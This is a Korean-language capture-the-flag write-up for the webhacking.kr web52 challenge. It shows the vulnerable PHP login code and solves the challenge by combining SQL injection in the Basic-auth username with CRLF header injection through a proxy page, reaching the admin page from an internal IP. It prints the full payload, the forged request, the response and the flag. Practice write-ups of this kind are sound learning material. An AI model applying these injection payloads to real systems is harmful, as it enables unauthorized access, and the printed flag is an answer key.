Webhacking.kr - web52
web52
1
2
3
Your mission is to access admin page
guest account is guest / guest
here is proxy just for fun
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// admin page
<?php
include "config.php";
if($_GET['view_source']) view_source();
if($_GET['logout'] == 1){
$_SESSION['login']="";
exit("<script>location.href='./';</script>");
}
if($_SESSION['login']){
echo "hi {$_SESSION['login']}<br>";
if($_SESSION['login'] == "admin"){
if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
}
else echo "You are not admin";
echo "<br><a href=./?logout=1>[logout]</a>";
exit;
}
if(!$_SESSION['login']){
if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
}
if($_SERVER['PHP_AUTH_USER']){
$id = $_SERVER['PHP_AUTH_USER'];
$pw = $_SERVER['PHP_AUTH_PW'];
$pw = md5($pw);
$db = dbconnect();
$query = "select id from member where id='{$id}' and pw='{$pw}'";
$result = mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
$_SESSION['login'] = $result['id'];
exit("<script>location.href='./';</script>");
}
}
if(!$_SESSION['login']){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
echo "Login Fail";
}
}
?>
Solution
우선 로그인을 할 때 쿼리를 보면 sql injection을 할 수 있으므로 admin으로 로그인 하는 건 가능하다.
여기서 이제 클라이언트 ip 주소를 172.17.0.x
로 어떻게 바꾸는가가 문제였다. 보면 내부 IP 대역이다.
문제를 보면 proxy.php가 있다. 페이지를 보면 HTTP 요청과 응답을 보여준다.
우선 admin으로 로그인하여 세션을 만들어 둔다.
그 다음 proxy.php에서 파라미터로 page 값이 있는데 여기에 /admin이라고 입력하면 301 응답코드가 온다.
page=/admin/
으로 하면 인증을 하지 않았으므로 Unauthorized
가 뜬다.
여기서 취약점은 우리가 Request 값을 조작할 수 있다는 점이다.
헤더는 CRLF로 끝나게 되어 있다.
따라서 CRLF로 값을 주면서 Request 헤더에 인증 헤더를 넣어주면 admin임을 인증할 수 있다.
CR의 ASCII 값은 %0d
, LF의 ASCII 값은 %0a
이다.
- payload
page=/admin/%20HTTP/1.1%0d%0aAuthorization:%20Basic%20YWRtaW4nIC0tIDo=%0d%0aHost:%20webhacking.kr:10008%0d%0aCookie:%20PHPSESSID={COOKIE}%0d%0aConnection:%20close%0d%0a%0d%0aGET%20/admin/
위와 같이 payload를 보내면 Request는 아래와 같이 나오게 되고 Response에 FLAG가 출력이 된다.
1
2
3
4
5
6
7
8
9
page: /admin/ HTTP/1.1
Authorization: Basic YWRtaW4nIC0tIDo=
Host: webhacking.kr:10008
Cookie: PHPSESSID={COOKIE}
Connection: close
GET /admin/ HTTP/1.1
Host: webhacking.kr:10008
Connection: Close
1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/1.1 200 OK
Date: Wed, 16 Mar 2022 07:10:10 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 93
Connection: close
Content-Type: text/html; charset=UTF-8
hi admin
FLAG{Server_Side_Request_Forgery_with_proxy!}
[logout]
- Flag :
FLAG{Server_Side_Request_Forgery_with_proxy!}
This post is licensed under CC BY 4.0 by the author.